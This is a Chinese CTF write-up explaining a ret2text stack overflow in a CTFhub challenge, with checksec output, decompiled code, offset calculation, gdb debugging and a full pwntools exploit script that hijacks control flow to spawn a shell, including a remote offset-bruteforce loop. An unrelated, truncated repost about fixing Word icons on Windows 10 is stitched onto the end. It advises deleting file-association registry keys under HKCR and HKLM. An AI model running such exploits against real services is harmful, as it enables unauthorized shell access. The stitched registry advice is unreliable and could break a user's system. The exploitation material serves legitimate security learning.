CTF PWN入门:栈溢出漏洞利用之ret2text实战详解

1. 项目概述:一次经典的栈溢出实战

最近在CTFhub上刷pwn题,又遇到了老朋友 ret2text 。这可以说是二进制安全入门路上绕不开的一道坎,也是理解栈溢出攻击原理最直观的案例。题目本身不复杂,但麻雀虽小,五脏俱全,从静态分析、动态调试到最终构造利用链,完整走一遍对新手巩固基础非常有帮助。这次我们就以CTFhub平台的一道典型 ret2text 题目为例,手把手拆解从拿到二进制文件到成功获取shell的全过程。

所谓 ret2text ,即“Return to Text”,是栈溢出利用的一种基础形式。它的核心思想是:通过溢出覆盖函数返回地址,让程序执行流跳转到二进制文件本身 .text 代码段中已经存在的、对我们有利的代码片段(比如调用了 system("/bin/sh") 的函数)。这不像 ret2libc 那样需要计算libc基址,也不像ROP那样需要精心构造gadget链,它直接、暴力,非常适合作为理解控制流劫持的起点。

无论你是刚刚接触pwn的新手,还是想重温一下基础操作的老手,跟着这篇实战解析走一遍,你不仅能拿下这道题,更能透彻理解栈帧布局、函数调用约定和最基本的漏洞利用构造。我们接下来会用到 checksec file 查看程序信息,用 IDA Pro Ghidra 进行静态分析,用 gdb 配合 pwndbg 插件进行动态调试,最终用 pwntools 编写自动化利用脚本。

2. 前期信息收集与静态分析

动手之前,情报工作至关重要。盲目测试效率低下,我们需要先搞清楚目标程序的基本情况和内部结构。

2.1 基础信息探查

首先,把题目给的二进制文件(假设名为 pwn_ret2text )下载到本地。打开终端,执行以下命令:

file pwn_ret2text
checksec pwn_ret2text

file 命令的输出通常会告诉我们这是不是一个ELF文件,以及是32位还是64位架构。例如,输出 ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., stripped 。这里的关键信息是“32-bit”,这决定了我们后续的利用细节(比如返回地址的长度是4字节还是8字节)。

checksec 命令(通常由 pwntools 提供)会显示程序的安全编译选项,这是决定利用难度的关键。

[*] '/home/user/pwn_ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

我们来逐一解读:

  • Arch: i386-32-little : 确认是32位小端序程序。
  • RELRO: Partial RELRO : 部分RELRO,对GOT表的保护有限,但本题用不到。
  • Stack: No canary found : 栈上未启用金丝雀(Canary)保护 。这是好消息!意味着我们可以直接进行栈溢出,而无需先泄露或绕过Canary值。
  • NX: NX enabled : 栈不可执行(NX)。这意味着我们不能直接把shellcode放在栈上然后跳过去执行。但 ret2text 不依赖执行栈上的代码,所以这个保护对我们影响不大。
  • PIE: No PIE (0x8048000) : 未启用地址空间随机化(PIE) 。这是 ret2text 能够成功的关键!程序加载的基地址是固定的 0x8048000 ,这意味着代码段中所有函数和指令的地址在每次运行时都是确定的、可预测的。我们可以直接在脚本里硬编码目标地址。

注意 :如果程序开启了PIE,那么每次运行时代码段的基地址都会变化, ret2text 这种依赖固定地址的攻击方式就会失效,需要结合信息泄露等手段先获取基地址。本题没有PIE,简化了利用。

2.2 代码逻辑与漏洞点定位

接下来,用反汇编工具打开程序。我习惯用 IDA Pro ,免费版的 IDA Freeware 或者开源的 Ghidra 也完全够用。加载程序后,首先看 main 函数。

IDA Functions window 里找到 main ,按 F5 生成伪代码。通常这类题目的 main 函数非常简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  return 0;
}

它调用了另一个函数 vulnerable_function 。我们跟进这个函数:

ssize_t vulnerable_function()
{
  char buf[64]; // [esp+0h] [ebp-48h]

  return read(0, buf, 0x100);
}

漏洞点一目了然!

  1. 函数内部定义了一个字符数组 buf ,从 [ebp-0x48] 开始,大小为64字节( 0x40 )。
  2. 但是, read 函数读取用户输入时,指定了长度 0x100 (十进制256)。
  3. read 函数会忠实地向 buf 写入最多256字节的数据,这远远超过了 buf 数组本身的容量(64字节)。

这就是一个典型的 栈缓冲区溢出 漏洞。多余的输入数据会覆盖 buf 数组之后栈上的内容,包括但不限于:保存的 ebp 寄存器值、函数的返回地址。

2.3 寻找“后门”函数

ret2text 的精髓在于利用程序自带的代码。我们需要在程序的 .text 段里寻找是否有现成的、能给我们shell的代码。通常,出题人会“贴心”地留下一个这样的函数,常被戏称为“后门”函数。

IDA Functions window 里滚动查找,或者使用 Shift+F12 打开字符串窗口,搜索 /bin/sh sh cat flag 等敏感字符串。我们很可能会发现一个名为 shell get_shell 的函数。

双击跳转到这个函数,按 F5 查看伪代码:

int shell()
{
  return system("/bin/sh");
}

完美!这个函数直接调用了 system("/bin/sh") 。我们的攻击目标就是让程序执行流跳转到这个函数的地址。

记下这个函数的地址。在 IDA 的汇编视图或伪代码视图,函数名旁边会显示其地址,例如 .text:08048576 。假设 shell 函数的地址是 0x08048576

实操心得 :有时候“后门”函数可能不是直接调用 system("/bin/sh") ,而是调用 execve 或者通过其他方式启动shell。也可能没有明显的后门函数,但存在像 system execve 这样的危险函数调用,并且通过某些操作(如传递参数)可以触发。对于最基础的 ret2text 题目,通常都会有一个直接的后门。

3. 漏洞利用链的构造与计算

知道了有溢出,也知道了要跳到哪里去,接下来就需要精确计算如何构造我们的输入数据(即payload),使其恰好覆盖返回地址为目标地址。

3.1 栈帧布局分析与偏移计算

我们需要搞清楚从我们输入的缓冲区 buf 开始,到覆盖返回地址,中间需要填充多少字节的垃圾数据。

根据之前的伪代码, buf 在栈上的位置是 [ebp-0x48] 。在32位程序中:

  • ebp 是当前函数的基址指针。
  • 函数返回后,会执行 ret 指令,该指令相当于 pop eip ,即从栈顶弹出数据到指令指针寄存器 EIP ,从而控制下一条执行的指令。
  • 在栈上, ret 指令弹出的“返回地址”位于 [ebp+4] 的位置(因为 call 指令会将返回地址压栈,然后 ebp 被保存)。

所以,从 buf 的起始位置 [ebp-0x48] 到返回地址 [ebp+4] 的偏移量(距离)是: (ebp+4) - (ebp-0x48) = 4 + 0x48 = 0x4c (十进制76)。

验证一下 buf 大小是 0x40 (64), buf 末尾到 ebp 之间可能还有对齐空间,但从 ebp-0x48 ebp 正好是 0x48 (72)字节。覆盖掉保存的 ebp (4字节)后,紧接着的4字节就是返回地址。所以总偏移 = 0x48 + 4 = 0x4c (76)。

因此,我们的payload结构应该是:

[ 76字节的填充数据 ] + [ shell函数的地址 ]

填充数据可以是任意字符,常用 'A' (0x41)或 'a' (0x61),方便在调试中识别。

3.2 动态调试验证偏移

静态分析得出的偏移量最好用动态调试验证一下,确保万无一失。我们使用 gdb 配合 pwndbg 插件。

gdb ./pwn_ret2text

gdb 中:

# 设置断点在vulnerable_function的read调用之后或函数返回前
pwndbg> break *vulnerable_function+XX # 用实际地址,或直接
pwndbg> break vulnerable_function
pwndbg> run

程序运行后会断下。我们单步执行到 read 调用之后。然后,我们发送一个带有明显模式(pattern)的输入来精确计算偏移。 pwntools cyclic 工具可以生成这样的模式。

方法一:使用pwntools的cyclic 在另一个终端或Python交互环境中:

from pwn import *
cyclic(200) # 生成200个字符的循环模式

会输出一长串字符串,例如 aaaabaaacaaadaaaeaaaf...

gdb 中,当程序等待输入时,将上面生成的模式字符串粘贴进去。程序继续执行,会因为跳转到非法地址而崩溃。此时查看崩溃时 EIP 寄存器的值:

pwndbg> i r eip
eip            0x6161616c

0x6161616c 对应ASCII字符 'laaa' (注意小端序)。然后用 cyclic 工具计算偏移:

from pwn import *
cyclic_find(b'laaa') # 或者 cyclic_find(0x6161616c)

如果输出 76 ,就验证了我们的计算。

方法二:在gdb中直接观察栈 在函数返回前( leave ret 指令处),查看栈顶内容。

pwndbg> x/20wx $esp

发送一堆 'A' 后,看 0x41414141 'AAAA' )出现在哪里,也能估算出偏移。

注意事项 :动态链接库的加载、环境变量等因素可能导致栈地址在 gdb 内外有细微差别。在最终编写利用脚本时,如果本地打通但远程不通,可能需要微调填充长度。但对于这类基础题,通常偏移是固定的。

4. 利用脚本编写与自动化攻击

掌握了所有必要信息后,就可以用 pwntools 编写Python脚本进行自动化攻击了。 pwntools 是pwn题的利器,能极大简化交互过程。

4.1 基础利用脚本

创建一个名为 exp.py 的文件:

#!/usr/bin/env python3
from pwn import *

# 设置上下文,例如架构、日志级别
context(arch='i386', os='linux', log_level='debug')

# 连接目标:本地文件用于测试,远程用于攻击题目服务器
# 本地测试
io = process('./pwn_ret2text')
# 远程攻击(根据题目修改IP和端口)
# io = remote('challenge.ctfhub.com', 10000)

# 准备payload
offset = 76
shell_addr = 0x08048576  # 这是我们从IDA中找到的shell函数地址

# 构造payload: 偏移量填充 + 目标地址
# p32()用于将整数打包为32位小端序字节串
payload = b'A' * offset + p32(shell_addr)

# 发送payload
io.send(payload) # 或者 io.sendline(payload) 如果程序期待一行输入

# 将交互权交给用户,方便我们操作得到的shell
io.interactive()

4.2 脚本的测试与优化

  1. 本地测试 :首先在本地运行脚本 python3 exp.py 。如果一切正确,你应该会看到一个全新的shell提示符(可能是 $ ),这意味着你成功地在本地启动了 /bin/sh 。可以执行 whoami ls 等命令验证。

  2. 处理输入输出 :有些题目程序可能使用 gets fgets scanf 等函数,它们对输入的处理(如是否在末尾加换行、是否截断空格)与 read 略有不同。如果脚本发送后程序没反应或崩溃,可能需要调整:

    • 使用 io.sendline(payload) 代替 io.send(payload) ,自动在末尾添加换行符 \n
    • 如果程序使用 scanf("%s", buf) ,要注意 scanf 遇到空格会停止,所以payload里不能有空格( 0x20 )。我们的地址字节里可能包含 0x20 吗? 0x08048576 的字节表示为 \x76\x85\x04\x08 ,不包含 0x20 ,所以安全。
    • 使用 io.recvuntil(b'some string') 来等待程序输出特定提示信息后再发送payload,确保同步。
  3. 远程攻击 :注释掉 process ,取消注释 remote ,填入正确的IP和端口。运行脚本,如果题目环境正常,就能直接获取远程的shell。

4.3 获取Flag

连接到远程服务器并成功执行 shell() 函数后,我们就获得了一个在题目服务器上运行的shell。通常flag文件就在当前目录或指定目录下,文件名可能是 flag flag.txt flag.php 等。

io.interactive() 启动的交互界面中,执行:

ls -la
cat flag

或者

find / -name \"*flag*\" 2>/dev/null

(注意:在真实CTF中,可能需要对目录进行遍历寻找)。

5. 常见问题与深度排查指南

即使按照步骤操作,你也可能会遇到一些问题。这里汇总了一些常见坑点及其解决方案。

5.1 本地通,远程不通

这是最让人头疼的情况。可能的原因和排查思路:

  1. 栈偏移差异 :这是最常见的原因。程序在 gdb 环境中运行和单独运行,或者在不同系统环境下运行,栈的初始布局可能略有不同(主要是环境变量和参数的数量、长度差异)。

    • 解决方案 :尝试微调 offset 。比如本地计算是76,远程可以尝试75或77。可以写一个循环脚本暴力尝试一个小的范围。
    for i in range(70, 85):
        try:
            io = remote(...)
            payload = b'A'*i + p32(shell_addr)
            io.send(payload)
            # 尝试接收数据或发送一个命令测试
            io.sendline(b'echo test')
            response = io.recv(timeout=2)
            if b'test' in response:
                print(f\"Success with offset {i}\")
                io.interactive()
                break
        except:
            io.close()
    
  2. 地址错误 :确认 shell 函数的地址是否正确。远程服务器上的二进制文件是否和你本地分析的一模一样?有时题目更新但本地文件未更新。重新下载题目附件进行确认。

  3. 输入处理差异 :本地用 process() ,远程用 remote() ,两者在管道处理上可能有一点点不同。确保发送的数据完全一致,特别是换行符。使用 io.send(payload) 还是 io.sendline(payload) 要匹配题目的输入函数。

  4. libc版本差异 :虽然 ret2text 不依赖libc,但如果 system 函数内部或 /bin/sh 的启动因为libc版本不同而有细微行为差异,也可能导致失败。但这种情况在基础题中较少见。

5.2 程序崩溃但未获得shell

发送payload后程序崩溃( Segmentation fault ),但没有弹出shell。

  1. 地址包含坏字符 :某些函数(如 scanf with %s , strcpy )会将特定的字节视为字符串终止符。常见的“坏字符”包括:

    • 0x00 (NULL):C语言字符串的终止符。
    • 0x0a ( \n ,LF):换行符, gets 会将其替换为 0x00 fgets scanf 可能视其为输入结束。
    • 0x0d ( \r ,CR):回车符。
    • 0x20 (空格): scanf %s 会在此处停止读取。
    • 0x09 ( \t ,制表符)。
    • 0x0b , 0x0c 等。 检查你的 shell_addr (例如 0x08048576 )的字节表示 \x76\x85\x04\x08 ,是否包含上述坏字符。 \x04 \x08 通常不是问题,但 \x00 (NULL)是绝对的大问题。如果地址中包含 0x00 (例如 0x0804a000 ),在溢出时, strcpy 等函数会在 0x00 处停止拷贝,导致地址覆盖不完整。 幸运的是,本题的地址 0x08048576 不包含 0x00 字节。
  2. 栈对齐问题 :在某些架构或特定环境下,调用函数时栈指针需要满足一定的对齐要求(如16字节对齐)。如果跳转后栈指针未对齐,可能导致 system 等函数内部出错。在32位环境下这个问题不突出,但在64位 ret2text 中可能需要添加一个 ret 指令的gadget来调整栈指针。本题是32位,通常无需考虑。

  3. 参数传递问题 :我们跳转到了 shell() 函数,它不需要参数。但如果跳转的目标是 system 函数本身,我们需要确保栈上在返回地址之后的位置(即 system 函数认为的第一个参数所在的位置)存放着一个指向 /bin/sh 字符串的指针。本题不需要,因为 shell() 函数内部已经写死了字符串。

5.3 使用pwntools的调试技巧

  1. 日志记录 :设置 context(log_level='debug') 可以让 pwntools 打印出所有发送和接收的数据,非常利于调试。

  2. GDB调试脚本 :可以在脚本中直接附加GDB进行调试。

    io = process('./pwn_ret2text')
    gdb.attach(io, '''
    break *vulnerable_function+XX
    continue
    ''')
    

    运行脚本后会弹出GDB调试窗口。

  3. 查看核心转储 :如果程序崩溃,可以开启系统核心转储 ulimit -c unlimited ,然后运行程序,用 gdb ./pwn_ret2text core 来查看崩溃现场。

5.4 从ret2text到更高级的技巧

理解 ret2text 是基础,它引出了更广阔的利用世界:

  1. Ret2libc :当程序没有现成的 system /bin/sh 时,就需要从共享库libc中寻找这些“武器”。这需要先泄露libc在内存中的基地址,然后计算 system /bin/sh 字符串的实际地址。这通常需要结合另一个漏洞(如格式化字符串漏洞)来泄露地址。

  2. ROP (Return-Oriented Programming) :当溢出空间很小(不足以放下很长的shellcode),并且有NX保护时,ROP通过串联程序本身代码段中的一系列以 ret 结尾的短指令序列(gadget),来逐步达成复杂目的(如调用 mprotect 改变内存页属性为可执行,再执行shellcode)。

  3. Stack Pivot :当溢出空间极其有限时,可以通过覆盖返回地址为一个 leave; ret 的gadget,将栈指针“迁移”到我们可控的另一个区域(如.bss段),从而获得更大的布局空间。

这次对CTFhub上 ret2text 题目的实战解析,覆盖了从信息收集、静态分析、动态调试到最终利用的全流程。关键在于理解栈的结构,精确计算偏移,并找到程序内部可用的“跳板”。虽然这只是二进制安全的冰山一角,但扎实掌握这个基础,将为后续学习更复杂的漏洞利用技术铺平道路。在实战中,多动手调试,耐心分析每一次崩溃的原因,你的利用技巧会越来越熟练。

已经博主授权,源码转载自 https://pan.quark.cn/s/e577710b7191 ### 解决Win10系统中Word文件图标显示不正常问题 #### 问题描述 在Windows 10操作系统中,部分用户遇到Word文档图标呈现非正常状态的问题。具体表现为:本应展示为Microsoft Word图标的DOC或DOCX文件,在系统中却呈现为常规的文本文件图标。这种现象不仅降低了用户的视觉体验,还可能引发一定的操作不便。 #### 解决方案 ##### 方法一:借助注册表编辑来纠正图标显示异常 1. **进行注册表备份**:为了保障系统的稳定性,在开展任何注册表修改之前,必须对注册表进行备份。可以通过“导出”功能来达成备份目的。 - 启动“运行”对话框(快捷键:`Windows + R`),键入`regedit`,随后按回车键进入注册表编辑界面。 - 在注册表编辑界面中,找到菜单栏里的“文件”选项,点击后选择“导出”,依照提示完成注册表备份。 2. **移除相关注册表项**: - 在`HKEY_CLASSES_ROOT`下,删除以下四个注册表项: - `.doc` - `.docx` - `Word.Document.8` - `Word.Document.12` - 在`HKEY_LOCAL_MACHINE\SOFTWARE\Classes`下,同样移除上述四个注册表项。 3. **重新启动计算机**:执行完上述步骤后,重新启动计算机以使修改生效。 #### 方法二:通过调整文件关联来纠正图标显示异常 如果第一种方法未能解决难题,则可以尝试调整文件的关联方式,具体步骤如下: 1. **移除文件关联**: - 在`HKEY_CLASSES_ROOT`下删除`....
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值